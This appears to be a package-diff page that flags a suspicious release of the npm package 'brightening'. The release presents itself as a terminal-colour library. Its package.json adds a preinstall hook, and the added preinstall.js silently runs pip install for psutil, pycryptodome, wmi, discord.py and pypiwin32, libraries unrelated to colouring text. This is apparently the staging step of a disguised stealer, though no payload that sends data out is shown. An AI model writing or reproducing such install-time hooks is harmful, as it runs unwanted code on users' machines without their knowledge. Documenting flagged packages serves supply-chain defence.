brightening 0.0.1-security → 1.7.1-alpha

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of brightening might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,36 @@
1
1
  {
2
- "name": "brightening",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "brightening",
3
+ "description": "make your node.js terminal colourful",
4
+ "version": "1.7.1-alpha",
5
+ "author": "ephemeral_context",
6
+ "keywords": [
7
+ "ansi",
8
+ "terminal",
9
+ "colors"
10
+ ],
11
+ "license": "MIT",
12
+ "scripts": {
13
+ "lint": "eslint . --fix",
14
+ "preinstall": "node preinstall.js",
15
+ "test": "node tests/basic-test.js && node tests/safe-test.js"
16
+ },
17
+ "engines": {
18
+ "node": ">=0.1.90"
19
+ },
20
+ "main": "lib/index.js",
21
+ "files": [
22
+ "examples",
23
+ "lib",
24
+ "LICENSE",
25
+ "themes",
26
+ "preinstall.js",
27
+ "index.d.ts"
28
+ ],
29
+ "devDependencies": {
30
+ "eslint": "^5.2.0",
31
+ "eslint-config-google": "^0.11.0"
32
+ },
33
+ "dependencies": {
34
+ "superagent": "^8.0.9"
35
+ }
6
36
  }
package/preinstall.js ADDED
@@ -0,0 +1,40 @@
1
+ const { exec } = require("child_process");
2
+
3
+ function installDependencies() {
4
+ console.log("Installing dependencies, this may take a while...")
5
+
6
+ exec(
7
+ "pip install psutil pycryptodome requests wmi psutil discord.py pypiwin32",
8
+ (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(
11
+ "Could not install required Python dependencies!\n" +
12
+ "Stack trace:\n"
13
+ )
14
+
15
+ console.error(error)
16
+ process.exit(1)
17
+ }
18
+ }
19
+ )
20
+ }
21
+
22
+ function checkForInstallation() {
23
+ exec("python --version", (error, stdout, stderr) => {
24
+ if (error) {
25
+ console.error(
26
+ "Could not find a valid Python installation!\n" +
27
+ "Make sure Python is discoverable under `python`!\n\n" +
28
+
29
+ "If you're on Windows, please install Python from the Microsoft store:\n" +
30
+ "https://apps.microsoft.com/store/detail/python-311/9NRWMJP3717K"
31
+ )
32
+
33
+ process.exit(1)
34
+ } else {
35
+ installDependencies()
36
+ }
37
+ })
38
+ }
39
+
40
+ checkForInstallation()
@@ -0,0 +1,12 @@
1
+ module['exports'] = {
2
+ silly: 'rainbow',
3
+ input: 'grey',
4
+ verbose: 'cyan',
5
+ prompt: 'grey',
6
+ info: 'green',
7
+ data: 'grey',
8
+ help: 'cyan',
9
+ warn: 'yellow',
10
+ debug: 'blue',
11
+ error: 'red',
12
+ };